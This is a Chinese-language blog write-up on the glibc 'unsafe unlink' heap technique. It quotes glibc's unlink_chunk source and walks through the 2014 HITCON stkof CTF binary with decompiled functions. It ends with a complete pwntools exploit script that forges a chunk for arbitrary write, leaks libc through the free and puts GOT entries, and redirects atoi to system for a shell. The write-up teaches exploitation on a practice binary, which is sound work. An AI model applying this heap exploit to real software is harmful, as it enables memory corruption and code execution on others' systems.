首页 > 其他分享 >Unsafe Unlink:unlink利用

Unsafe Unlink:unlink利用

时间:2023-05-13 10:24:25浏览次数:47  
标签:__ unlink list Unsafe bk fd nextsize Unlink

Author:cxing
Date:2023年5月12日

GLIBC 2.35中的Unlink

众所周知,glibc的堆管理器主要用链表结构维护chunk,特别的对于bins中双向链表的脱链操作叫做unlink。在老版本的glibc中,unlink被定义为一个宏,而新版本glibc中unlink被定义为一个函数。
关于为什么会从宏变成函数,我个人猜测有两方面原因。一是函数有编译时检查,而宏没有;二是现代编译器对小函数的优化得很好了,可能直接类似宏展开,并不会有额外的函数调用开销。简言之,unlink的作用就是脱链,通常需要对双链表结构的bins取出时chunk时会调用unlink。
除了及早期的unlink,现在glibc中的unlink通常有两个检查。一个是对size字段的检查,一个是对fd和bk指针的检查。对size字段的检查并不难处理,难的是fd和bk指针的检查使,为了绕过该检查使得unlink attach的威力下降了一大截。


/* Take a chunk off a bin list.  */
static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;
  bk->fd = fd;
  if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL)
    {
      if (p->fd_nextsize->bk_nextsize != p
	  || p->bk_nextsize->fd_nextsize != p)
	malloc_printerr ("corrupted double-linked list (not small)");

      if (fd->fd_nextsize == NULL)
	{
	  if (p->fd_nextsize == p)
	    fd->fd_nextsize = fd->bk_nextsize = fd;
	  else
	    {
	      fd->fd_nextsize = p->fd_nextsize;
	      fd->bk_nextsize = p->bk_nextsize;
	      p->fd_nextsize->bk_nextsize = fd;
	      p->bk_nextsize->fd_nextsize = fd;
	    }
	}
      else
	{
	  p->fd_nextsize->bk_nextsize = p->bk_nextsize;
	  p->bk_nextsize->fd_nextsize = p->fd_nextsize;
	}
    }
}

漫步unlink

通常 unsafe unlink都是向前合并,因此你需要找到如下图所示的内存布局或者构造出如下图所示的内存布局,你才能进行unsafe unlink。
而现代unsafe unlink已经不像曾经那么强大了,其最终结果是向S写入S-3,即[S]=S-3。但是许多讲unlink都在说可以任意地址写是怎么回事?我认为这个说法导致了很多人学习unlink很费劲,本质上unsfae link并不能任意地址写,只能如我上句所说进行[S]=S-3的写入操作。那么如何才能任意地址写呢?
想要unsafe unlink的基础上进行任意地址写,需要劫持一个可以进行写操作的指针变量,因此若我们能够通过控制S指针从S-3开始往高地址覆写,直到劫持一个可以可控的进行写操作的指针为止,我们才算完成任意地址写,例如S+1是一个有写操作的指针,那么我们覆盖到S+1劫持该指针就能任意地址写了。
mmexport1683771745034.png

static void
unlink_chunk (mstate av, mchunkptr p)
{
  if (chunksize (p) != prev_size (next_chunk (p)))
    malloc_printerr ("corrupted size vs. prev_size");

  mchunkptr fd = p->fd;
  mchunkptr bk = p->bk;

  if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
    malloc_printerr ("corrupted double-linked list");

  fd->bk = bk;
  bk->fd = fd;
// .... code
// .... code
}

注:实际上深入理解unlink你会发现我给出的两个chunk的内存布局只是最常规的,实际上只要可以通过unlink的检查,令unlink操作实现我们想要的写操作即可。但是刚学新知识,我觉得有必要从最规范的学起,屏蔽不必要的负担最快的入门,等自己实践多了自然而然会在规范的范式基础上延申、理解和学习,这样是最快、最顺畅的路径。

例子:2014 HITCON stkof

0x00 基本信息

题目信息,用的是2.23的libc

cxing@DESKTOP-9LDRI50:/mnt/c/Users/admin/Desktop/PWN/unlink$ checksec stkof
[*] '/mnt/c/Users/admin/Desktop/PWN/unlink/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fe000)
        
cxing@DESKTOP-9LDRI50:/mnt/c/Users/admin/Desktop/PWN/unlink$ ldd stkof
        linux-vdso.so.1 (0x00007fff36dfb000)
        /home/cxing/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so (0x00007fb5fa200000)
        /home/cxing/glibc-all-in-one-master/libs/2.23-0ubuntu11.3_amd64/ld-2.23.so => /lib64/ld-linux-x86-64.so.2 (0x00007fb5fa6eb000)

菜单题目,但是没有菜单提示,有四个函数。分别是new,edit,delete,show。
new函数可以malloc一块内存,并且将malloc的堆指针加入list指针数组中。list[++index] = v2;需要注意的是由于使用前置++index,因此索引是从1开始的而非0。
edit函数可以选择一个堆块,写入内容,并且写入内存的长度用户自定义,显然这里存在堆溢出。

__int64 __fastcall main(int a1, char **a2, char **a3)
{
  int v3; // eax
  int v5; // [rsp+Ch] [rbp-74h]
  char nptr[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v7; // [rsp+78h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  alarm(120u);
  while ( fgets(nptr, 10, stdin) )
  {
    v3 = atoi(nptr);
    if ( v3 == 2 )
    {
      v5 = edit();                              // heap overflow
      goto LABEL_14;
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        v5 = delete();
        goto LABEL_14;
      }
      if ( v3 == 4 )
      {
        v5 = show();
        goto LABEL_14;
      }
    }
    else if ( v3 == 1 )
    {
      v5 = new();
      goto LABEL_14;
    }
    v5 = -1;
LABEL_14:
    if ( v5 )
      puts("FAIL");
    else
      puts("OK");
    fflush(stdout);
  }
  return 0LL;
}


这是new函数可以malloc堆块。由于list[++index] = v2;,需要注意的是由于使用前置++index,因此索引是从1开始的而非0。

__int64 add()
{
  __int64 size; // [rsp+0h] [rbp-80h]
  char *v2; // [rsp+8h] [rbp-78h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v4; // [rsp+78h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  size = atoll(s);
  v2 = (char *)malloc(size);
  if ( !v2 )
    return 0xFFFFFFFFLL;
  list[++index] = v2;
  printf("%d\n", (unsigned int)index);
  return 0LL;
}

这是edit函数,可以往堆块写数据,但写入数据打长度没有限制,故而存在越界写,将导致堆溢出。

__int64 edit()
{
  int i; // eax
  unsigned int v2; // [rsp+8h] [rbp-88h]
  __int64 n; // [rsp+10h] [rbp-80h]
  char *ptr; // [rsp+18h] [rbp-78h]
  char s[104]; // [rsp+20h] [rbp-70h] BYREF
  unsigned __int64 v6; // [rsp+88h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  v2 = atol(s);
  if ( v2 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !list[v2] )
    return 0xFFFFFFFFLL;
  fgets(s, 16, stdin);
  n = atoll(s);
  ptr = list[v2];
  for ( i = fread(ptr, 1uLL, n, stdin); i > 0; i = fread(ptr, 1uLL, n, stdin) )
  {
    ptr += i;
    n -= i;
  }
  if ( n )
    return 0xFFFFFFFFLL;
  else
    return 0LL;
}

这时delete函数,没有什么问题。

__int64 delete()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  v1 = atol(s);
  if ( v1 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !list[v1] )
    return 0xFFFFFFFFLL;
  free(list[v1]);
  list[v1] = 0LL;
  return 0LL;
}

这时show函数,但并未打印任何有效信息。

__int64 sub_400BA9()
{
  unsigned int v1; // [rsp+Ch] [rbp-74h]
  char s[104]; // [rsp+10h] [rbp-70h] BYREF
  unsigned __int64 v3; // [rsp+78h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  fgets(s, 16, stdin);
  v1 = atol(s);
  if ( v1 > 0x100000 )
    return 0xFFFFFFFFLL;
  if ( !list[v1] )
    return 0xFFFFFFFFLL;
  if ( strlen(list[v1]) <= 3 )
    puts("//TODO");
  else
    puts("...");
  return 0LL;
}

0x01 漏洞利用

我们注意到edit中存在越界写,导致堆溢出,但是如何利用?理所应当的,为了控制程序流,我们通常需要劫持指针,然而程序本身的堆块布局并没有而是一个字符串空间。
由于list这个指针数组存储了堆的指针,我们可以通过edit对list的指针进行写,显然我们可以先布局chunk的内存,然后进行unlink,这样lis指针数组中unlink后的指针将指向自身低0x18的位置,我们再往这个指针写数据,即可覆盖list数组,劫持list数组中的元素,这些原生将会被视作指针,并且可以进行写操作。如此,我们就实现了任意地址写。
自然而然,由于是Partial RELRO,我们希望通过任意地址写,劫持got表的指针进行getshell,在这之前我们需要泄露libc,也可以通过读got表实现,不过show函数并没有提供leak功能,因此我们需要改造一下show函数。
具体的show函数每次都会strlen(list[v2]),我们可以通过任意地址写,把strlen@got的值改为put、printf这样的io函数,当然再delete中同样存在free(list[v2])可以改造成leak。

from pwn import *

context(arch='amd64', os='linux')
context.log_level = 'debug'
context.terminal = ['tmux', 'sp', '-h']

elf = ELF("./stkof")
io = process('./stkof')

def malloc(size:int):
    io.send(b'1\n')
    io.send(str(size).encode() + b'\n')
    io.recvuntil("OK\n")



def edit(index:int, data:bytes):
    io.send(b'2\n')
    io.send(str(index).encode() + b'\n')
    io.send(str(data.__len__()).encode() + b'\n')
    io.send(data)
    io.recvuntil("OK\n")


def delete(index:int):
    io.send(b'3\n')
    io.send(str(index).encode() + b'\n')
   


# unlink 实现任意地址写
malloc(0x10) # 1
malloc(0x10) # 2
malloc(0x10) # 3
malloc(0x30) # 4
malloc(0x80) # 5
malloc(0x10) # 6 

unlink_chunk_ptr = 0x602140 + 0x20
unlink_fd = unlink_chunk_ptr - 0x18
unlink_bk = unlink_chunk_ptr - 0x10
payload = b''
payload += p64(0) + p64(0x31)
payload += p64(unlink_fd) + p64(unlink_bk)
payload += p64(0) + p64(0)
payload += p64(0x30) + p64(0x90)
# gdb.attach(io)
edit(4, payload)
delete(5)
arbitrary_write = lambda addr,data: (edit(4, p64(addr)), edit(1, data))
# 构造leak 写free got为 printf 或 puts 函数
arbitrary_write(elf.got['free'], p64(elf.plt['puts']))
edit(4, p64(elf.got['puts']))
delete(1)

io.recvline()
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - elf.libc.sym['puts']
system_addr = libc_base + elf.libc.sym['system']
print(f"[+] libc_base = {hex(libc_base)}")

# 写atoi got为system函数
arbitrary_write(elf.got['atoi'], p64(system_addr))
    
io.interactive()

标签:__,unlink,list,Unsafe,bk,fd,nextsize,Unlink
From: https://www.cnblogs.com/cx1ng/p/17396850.html

相关文章

  • 关于谷歌浏览器出现“错误代码:net::ERR_UNSAFE_PORT”的解决办法
    搭建项目时需要自己配置端口信息,但是有人搭建之后会出现如下情况  但是换用edge等浏览器没有问题,这是因为chorme浏览器有自己的默认非安全端口,若访问这些端口就会出现这个错误,并且所有采用chorme内核的浏览器都会这样。解决方案是更换自己项目的端口,这里列出所有chorme的......
  • c# winform 把彩色图片转换为灰色的图片,变灰,灰度图片,速度很快,safe,unsafe
    把彩色图片转换为灰色的图片,直接用.net接口遍历每个像素点转换的效率非常低,800K的图片65万像素我的电脑要用5分钟,而用了unsafe,速度提高了几千倍,同样的图片只用了0.几秒附一个常用的遍历像素点转换的代码构造函数publicTphc(){ InitializeCompon......
  • Java Magic. Part 4: sun.misc.Unsafe(译)
    JavaMagic.Part4:sun.misc.UnsafeJavaisasafeprogramminglanguageandpreventsprogrammerfromdoingalotofstupidmistakes,mostofwhichbasedonmemorymanagement.But,thereisawaytodosuchmistakesintentionally,usingUnsafeclass.Java是一种......
  • 堆块chunk介绍及unlink漏洞利用原理
    堆块chunk介绍及unlink漏洞利用原理chunk结构当进程动态分配内存时,系统会在堆中创建一个chunk(堆块)。chunk包含chunk头和chunk体两部分chunk头中有两个字段:prev_size:前一个chunk的size,前指的之前分配的内存,也就是低地址相邻的chunksize:当前chunk的size,size字段的低3位A,M,P不......
  • 【Java 并发】【七】【Unsafe】什么是Unsafe及其作用
    1 前言这节我们来看看JDK底层的unsafe,因为很多的操作都是依赖于unsafe提供的功能的。2  unsafe是什么?unsafe是JDK提供的一个工具类,里面的方法大多是native方法,unsafe类是JDK给你提供的一个直接调用操作系统底层功能的一个工具类,unsafe提供了非常多操作系统级别的方法。(1)比......
  • pikachu- file include (local )、(remote)、unsafe filedownload 、filedupload
    文件包含概述FileInclusion(文件包含漏洞)文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另......
  • 改变容器存储位置后启动mongo失败,报错Failed to unlink socket file tmpmongodb-27017
    一.改变容器存储位置默认存储位置是/var/lib/docker1.停止dockersystemctlstopdocker有时候会报错Warning:Stoppingdocker.service,butitcanstillbeactiva......
  • Java魔法类之Unsafe(cas)底层实现
    一、JVM层在java.util.concurrent包下面的很多类为了追求性能都采用了sun.misc.Unsafe类中的CAS操作,从而避免使用synchronized等加锁方式带来性能上的不足。在sun.misc.U......
  • Java中的Unsafe类
    Java中的Unsafe类Unsafe类时sun,misc包下的一个类,主要用于执行一些Native方法,同时它赋予了Java直接操作内存的能力,但是直接操作内存的能力同时也破坏了Java的安全性,可......
  • ERR_UNSAFE_PORT浏览器安全问题无法访问的解决方案
    ERR_UNSAFE_PORT浏览器安全问题导致无法访问的解决方案目录ERR_UNSAFE_PORT浏览器安全问题导致无法访问的解决方案一、问题现象二、浏览器自身机制三、解决方法1.Goog......